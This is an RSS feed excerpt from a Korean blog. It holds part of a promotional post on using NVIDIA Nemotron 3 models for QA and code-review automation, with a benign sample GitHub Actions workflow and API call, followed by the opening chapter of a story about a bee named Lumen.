&lt;li&gt;스마트폰이나 라즈베리파이 같은 경량 기기에서도 실행 가능&lt;/li&gt;
&lt;li&gt;정확도는 낮지만 간단한 작업(필터링, 분류)에 충분&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Nemotron 3 Super (120B) - 지금 바로 쓸 수 있음&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;가장 실용적인 선택&lt;/li&gt;
&lt;li&gt;코딩 능력 86% (경쟁사 수준)&lt;/li&gt;
&lt;li&gt;비용과 성능의 황금 비율&lt;/li&gt;
&lt;li&gt;대부분 기업의 사용 사례가 여기서 시작&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Nemotron 3 Ultra (550B) - 곧 출시&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;가장 크고 똑똑함&lt;/li&gt;
&lt;li&gt;MMLU Pro 89.3점 (최고 수준)&lt;/li&gt;
&lt;li&gt;복잡한 분석, 깊은 추론이 필요한 경우에 최적&lt;/li&gt;
&lt;li&gt;아직 미출시&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;핵심 기술: 왜 이렇게 빠르고 싼가?&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기존 AI 모델들의 문제점: 모델 크기가 커질수록 &lt;b&gt;계산 복잡도가 폭발적으로 증가&lt;/b&gt;(이차함수처럼 급증).&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;100B 모델 &amp;rarr; $1 비용이라면&lt;/li&gt;
&lt;li&gt;200B 모델 &amp;rarr; $4 비용 (2배 아니라 4배!)&lt;/li&gt;
&lt;li&gt;500B 모델 &amp;rarr; $25 비용&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Nemotron의 해결책: Hybrid MoE + Latent MoE&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;쉽게 말해 &quot;계산을 영리하게 배분&quot;합니다:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;Hybrid MoE&lt;/b&gt;: 여러 전문가를 동시에 활용하되, 필요한 전문가만 작동&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Latent MoE&lt;/b&gt;: 계산을 낮은 차원에서 처리 (마치 JPEG 압축처럼)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;결과: &lt;b&gt;같은 비용으로 4배 많은 전문가를 운영&lt;/b&gt; 가능. 더 똑똑하면서도 비용은 같습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실제 성능 향상:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;처리 속도: 3배 빠름&lt;/li&gt;
&lt;li&gt;컨텍스트 길이: 100만 토큰 (긴 문서 한 번에 분석)&lt;/li&gt;
&lt;li&gt;정확도: 2배 향상&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;실제로 뭘 할 수 있나요?&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;1. 코드 리뷰 자동화&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;PR을 올리면 Nemotron이 즉시 버그 가능성, 성능 문제, 보안 취약점 검사&lt;/li&gt;
&lt;li&gt;시간: 15분 &amp;rarr; 1분&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;2. 테스트 케이스 자동 생성&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;함수 설명만 입력하면 자동으로 테스트 코드 생성&lt;/li&gt;
&lt;li&gt;시간: 3시간 &amp;rarr; 30분&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;3. 고객 문의 자동 분류&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;1,000개의 고객 이메일을 자동으로 분류 및 우선순위 결정&lt;/li&gt;
&lt;li&gt;수작업: 4시간 &amp;rarr; 자동: 2분&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;4. 의료 진료 기록 요약&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;수십 페이지의 의료 기록을 한 문장으로 요약&lt;/li&gt;
&lt;li&gt;정확도: 90% 이상&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;5. 다국어 번역 및 지역화&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;100개 언어 지원으로 글로벌 제품 운영 효율화&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;지금 시작하려면?&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Step 1: 학습 (2주)&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Hugging Face에서 무료 공개된 Nemotron 문서 읽기&lt;/li&gt;
&lt;li&gt;벤치마크와 성능 비교 자료 검토&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Step 2: 작은 시험 (2주)&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;5~10명의 작은 팀에서 먼저 시도&lt;/li&gt;
&lt;li&gt;실제 효과 측정&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Step 3: 확대 (1개월)&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;효과가 입증되면 전사 배포&lt;/li&gt;
&lt;li&gt;비용과 시간 절감 효과 정량화&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;결론&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Nemotron은 단순한 &quot;새로운 AI 모델&quot;이 아니라, &lt;b&gt;엔터프라이즈급 자동화의 새로운 표준&lt;/b&gt;입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;비용은 기존의 100분의 1, 성능은 경쟁사 수준, 자유도는 무한대. CURSOR, LangChain 같은 성공한 회사들이 이미 선택한 기술입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만약 회사에서 AI 자동화를 고려 중이라면, &lt;b&gt;&quot;Nemotron부터 시작해보는 것&quot;&lt;/b&gt;이 가장 현실적입니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h1&gt;  요약 문서 2: QA 관점 집중 요약 (8000자)&lt;/h1&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;NVIDIA Nemotron 3를 QA/테스트 자동화에 적용하는 완벽 가이드&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Executive Summary (경영진용 한 줄)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&quot;QA 작업의 80%를 자동화하면서도 기존 비용의 1%만 소요하는 기술이 등장했습니다.&quot;&lt;/b&gt;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;1. QA가 Nemotron을 주목해야 하는 이유&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;1.1 현재 QA팀의 고충&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;수동 코드 리뷰의 병목:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;각 PR마다 15~30분 소요 (큰 PR은 1시간+)&lt;/li&gt;
&lt;li&gt;리뷰어마다 기준이 다름 (일관성 부족)&lt;/li&gt;
&lt;li&gt;휴먼 에러로 버그를 놓친 확률 15~20%&lt;/li&gt;
&lt;li&gt;주말/야간 PR은 다음날까지 대기&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;테스트 케이스 작성의 반복:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;신규 함수당 2~3시간 소요&lt;/li&gt;
&lt;li&gt;엣지 케이스를 빼먹기 쉬움&lt;/li&gt;
&lt;li&gt;문서만 읽고 작성해서 요구사항 오독 가능&lt;/li&gt;
&lt;li&gt;테스트 유지보수 비용이 계속 증가&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;테스트 실패 원인 분석:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;1,000줄 이상의 로그를 수동으로 읽고 분석&lt;/li&gt;
&lt;li&gt;야간 배포 시 오류 원인이 불명확해서 배포 지연&lt;/li&gt;
&lt;li&gt;같은 오류가 반복되어도 매번 분석&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;1.2 Nemotron이 해결하는 것&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Nemotron 3 Super의 핵심 특성:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;코딩 정확도: 86%&lt;/b&gt; (경쟁사 75~76% 대비 우월)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;1M 컨텍스트&lt;/b&gt;: 전체 PR(코드 + 문서 + 이전 로그)를 한 번에 분석&lt;/li&gt;
&lt;li&gt;&lt;b&gt;처리 속도: 3배 빠름&lt;/b&gt; (같은 비용으로)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;오픈소스&lt;/b&gt;: 자신의 데이터로 커스터마이징 가능&lt;/li&gt;
&lt;li&gt;&lt;b&gt;비용&lt;/b&gt;: 토큰당 $0.0002 (프롬프트 토큰) / $0.0006 (생성 토큰)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 세 가지가 결합되면, &lt;b&gt;QA의 80% 작업을 자동화&lt;/b&gt;하면서도 &lt;b&gt;비용 대폭 절감&lt;/b&gt;이 가능합니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2. 3가지 핵심 QA 자동화 시나리오&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;시나리오 1️⃣: PR 코드 리뷰 봇 (가장 현실적, 즉시 적용 가능)&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;현재 상태:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;1. 개발자가 PR 올림
2. QA 엔지니어가 수동 리뷰 (15-30분)
3. 코멘트 작성 및 &quot;요청&quot; 상태로 변경
4. 개발자가 수정하면 다시 리뷰 (5-10분)
5. 최종 승인 및 병합

⏱️ 총 소요 시간: 20-40분
  관여 인원: 2명 (개발자 + QA)
  버그 발견율: 85% (휴먼 에러로 15% 놓침)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Nemotron으로 자동화한 상태:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;1. 개발자가 PR 올림 (변화 없음)
2. GitHub Actions 트리거 &amp;rarr; Nemotron 자동 분석 (5초)
3. 자동 코멘트 생성:
   ✅ &quot;라인 42: null pointer 가능성&quot;
   ✅ &quot;라인 67: O(n&amp;sup2;) 알고리즘 &amp;rarr; O(n log n) 추천&quot;
   ✅ &quot;라인 89: SQL injection 취약점 가능&quot;
   ✅ &quot;라인 120: 예외 처리 누락&quot;
4. 개발자가 자동 피드백 검토 후 수정 (필요시만)
5. QA가 5분 내 최종 검증 후 승인

⏱️ 총 소요 시간: 5-10분 (80% 감소)
  관여 인원: 1명 (QA의 검증만)
  버그 발견율: 95% (자동 패턴 매칭으로 개선)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;기술 스택:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;# GitHub Actions 워크플로우 (예시)
on: [pull_request]

jobs:
  nemotron-review:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      - name: Run Nemotron Code Review
        env:
          TOGETHER_API_KEY: ${{ secrets.TOGETHER_API_KEY }}
        run: |
          python pr_review_bot.py --pr ${{ github.event.number }}

# pr_review_bot.py
from together import Together

client = Together(api_key=os.environ.get(&quot;TOGETHER_API_KEY&quot;))

def review_pr(pr_diff):
    prompt = f&quot;&quot;&quot;
    이 PR을 코드 리뷰해줘. 다음 항목을 체크하고 각각 한 줄로만 설명해:
    1. 버그 가능성 (null pointer, race condition, memory leak 등)
    2. 성능 문제 (O(n&amp;sup2;) 복잡도, 불필요한 루프 등)
    3. 보안 취약점 (SQL injection, XSS, 인증 실패 등)
    4. 스타일 가이드 위반
    5. 예외 처리 누락&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;#NVIDIA #Nemotron #Nemotron3 #NVIDIA_GTC2026 #GTC2026 #OpenModel #오픈소스LLM #생성형AI #AI에이전트 #AgenticAI #코드리뷰자동화 #QA자동화 #테스트자동화 #LLM파인튜닝 #멀티모달AI #NeMo플랫폼 #엔터프라이즈AI #소프트웨어테스트 #PR코드리뷰 #테스트케이스생성 #패스트캠퍼스&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>FastCampus</category>
      <category>GTC2026</category>
      <category>Nemotron</category>
      <category>nVidia</category>
      <category>NVIDIA_GTC2026</category>
      <category>OpenModel</category>
      <category>생성형AI</category>
      <category>엔터프라이즈ai</category>
      <category>테스트자동화</category>
      <category>패스트캠퍼스</category>
      <author>댕기사랑</author>
      <guid isPermaLink="true">https://thepin.tistory.com/224</guid>
      <comments>https://thepin.tistory.com/224#entry224comment</comments>
      <pubDate>Sun, 29 Mar 2026 15:51:21 +0900</pubDate>
    </item>
    <item>
      <title>빛과 진동 사이 1부 빛의 도시 &amp;ndash; 꿀벌 루멘 편</title>
      <link>https://thepin.tistory.com/223</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;빛과 진동사이 . 1부 빛의 도시 &amp;ndash; 꿀벌 루멘 편&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;572&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/rZ1xM/dJMcagx4bNY/J76BxhOLKXUkIWWLWKN8ZK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/rZ1xM/dJMcagx4bNY/J76BxhOLKXUkIWWLWKN8ZK/img.png&quot; data-alt=&quot;꿀벌 루멘 - 제미나 생성 이미지&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/rZ1xM/dJMcagx4bNY/J76BxhOLKXUkIWWLWKN8ZK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FrZ1xM%2FdJMcagx4bNY%2FJ76BxhOLKXUkIWWLWKN8ZK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1024&quot; height=&quot;572&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;572&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;꿀벌 루멘 - 제미나 생성 이미지&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;1편 옥상 위 첫 비행 (초고)&lt;/span&gt;&lt;/h2&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;꽃 냄새보다 먼저, 빛이 깨어났다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt; 벌집 안쪽 가장 어두운 방에서, 투명한 껍질 하나가 미세하게 떨렸다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;루멘이 처음 눈을 떴을 때, 세상은 소리도, 냄새도, 모양도 아니었다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt; 먼저 밀려 들어온 것은 색이었다. 파랗고, 보랏고, 인간이라면 이름도 붙이지 못할 찬란한 자외선의 물결이, 밀랍벽 틈새 사이로 스며들어 왔다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;처음 세상을 본다는 건, 사실 세상을 듣는 것도, 맡는 것도 아니었다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;먼저 밀려 들어온 건 색이었다. 나는 색으로 태어났다&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그는 눈을 깜빡이는 법을 아직 몰랐다. 대신, 눈을 가진 채 태어난 모든 존재가 그렇듯, 있는 힘껏 바라보았다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;빛은 벌집의 육각형 벽을 따라 번져 나갔다. 노란 밀랍 위로 보라색 섬광이 번지고, 투명한 꿀방울이 초록과 파랑의 경계에서 반짝였다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그 모든 색이 하나의 큰 숨처럼 들이켜졌다가, 그의 작은 몸 안으로 밀려 들어왔다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;ldquo;새 아기가 나왔네.&amp;rdquo;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;멀리서 웅웅거리는 소리가 났다. 루멘에게 그것은 소리가 아니라, 낮게 깔린 녹색 진동으로 느껴졌다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt; 그를 둘러싸고 있던 벽이 부스러지며, 수십 개의 더듬이가 와락 몰려들었다. 따뜻한 촉감, 묵직한 꿀 냄새, 어제와 오늘이 쌓여 굳은 공기의 무게.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;루멘은 처음으로 자신이 좁고 둥근 방에 있었다는 사실을 알았다. 그리고 동시에, 이곳 밖에 더 큰 어둠과, 더 큰 빛이 있다는 것도 어렴풋이 느낄 수 있었다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;ldquo;일단 먹여. 힘을 써야지.&amp;rdquo;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;어딘가에서 단내가 코끝을 스쳤다. 꿀이었다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt; 부드러운 혀가 그의 입가에 닿자, 루멘의 몸 안에서 또 한 번 색이 터졌다. 이번에는 맛이 색이 되어 번졌다. 금빛과 주황빛, 오래 숙성된 꿀의 깊은 갈색이, 껍질 안쪽까지 서서히 물들였다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;ldquo;이제 눈도 뜨고, 더듬이도 움직이고&amp;hellip; 좋네. 곧 밖으로 나가야지.&amp;rdquo;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;lsquo;밖.&amp;rsquo;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;루멘은 그 단어를 아직 이해할 수 없었다. 그러나 이해하지 못한 만큼, 강하게 끌렸다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt; 벽 너머에서 들어오는 빛의 결이 계속해서 변하고 있었기 때문이다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt; 벌집 안에서는 한 번에 하나만 느끼면 되었다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;먹을 땐 먹는 감각, 일할 땐 일하는 감각.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;밖으로 나가기 전까지, 삶은 역할표에 따라 분명하게 나뉘어 있었다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;하지만 밀랍 틈새를 넘어 들어오는 색은 한 번에 하나가 아니었다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;여러 색이 동시에 밀려왔다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그때부터 그는 막연하게 느꼈다. 도시 위로 나가면, 모든 감각이 동시에 밀려올 것이다. 그때부터 나는, 단순하게 사는 능력을 조금씩 잃게 되겠지.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;시간이 얼마나 흘렀는지 알 수 없었&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;다. 벌집 안에서의 시간은, 빛이 아니라 온도로 흐르는 것 같았다. 따뜻해졌다 차가워지고, 밀랍이 조금 말랑해졌다 다시 굳어지고, 꿀의 점성이 계절처럼 변하는 동안, 루멘의 몸도 서서히 단단해졌다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그리고 마침내, 그날이 왔다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;ldquo;오늘은 네 차례다.&amp;rdquo;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;굵은 더듬이가 루멘의 등을 두드렸다. 익숙해지기도 전에 익숙해져 버린 냄새, 수십, 수백 마리 벌들의 체취가 섞여 만들어낸 묵직한 공기 속에서, 하나의 통로가 열렸다. 벌집 벽이 둘로 갈라지며 어둠이 걷히자, 루멘은 처음으로 &amp;lsquo;바깥 공기&amp;rsquo;라는 것을 마주했다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그것은 공기라기보다, 거대한 빛의 홍수였다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;통로 끝에서, 말로 설명할 수 없는 색들이 쏟아져 들어왔다. 꽃들의 은은한 청록빛, 콘크리트 바닥의 둔탁한 회색, 유리창을 타고 미끄러지는 날카로운 흰빛, 그리고 그 모든 위에 얹힌, 도시 특유의 흐릿한 갈색 안개. 그 안개 사이사이로, 작고 또렷한 색의 점들이 떠 있었다. 붉은 기쁨, 푸른 피로, 잿빛 걱정, 옅은 노란 기대.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;루멘은 숨을 들이켰다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt; 숨을 들이켰을 뿐인데, 수십 개의 색이 한꺼번에 몸 안으로 빨려 들어왔다. 더듬이가 저릿저릿 떨리고, 다리가 약간 풀리는 느낌.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;ldquo;무서우면, 빛이 아니라 바람을 먼저 봐.&amp;rdquo;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt; 앞서 날아오르기 직전인 언니벌이 속삭였다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt; &amp;ldquo;꽃은 항상, 바람 끝에 있어.&amp;rdquo;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;루멘은 고개를 끄덕였는지조차 확신할 수 없었다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt; 다만, 통로 끝으로 몸을 밀어 올렸다. 발밑의 밀랍이 끝나는 지점, 그 위로는 아무것도 없는 공간이 입을 벌리고 있었다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그는 잠시 멈춰 섰다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt; 어둠과 익숙한 냄새가 뒤에 있었고, 눈을 찌를 듯한 빛과 알 수 없는 색의 소용돌이가 앞에 있었다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;우리는 보이는 만큼만 사는 줄 알았다.어쩌면 사는 만큼만 보이기도 하는 것 같다. 이 한 발을 내디디면, 나는 더 많은 색을 보게 될 것이다. 그리고, 다시 예전의 눈으로는 돌아갈 수 없겠지.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;루멘은, 처음으로 선택이라는 것을 했다.&lt;/span&gt;&lt;/p&gt;
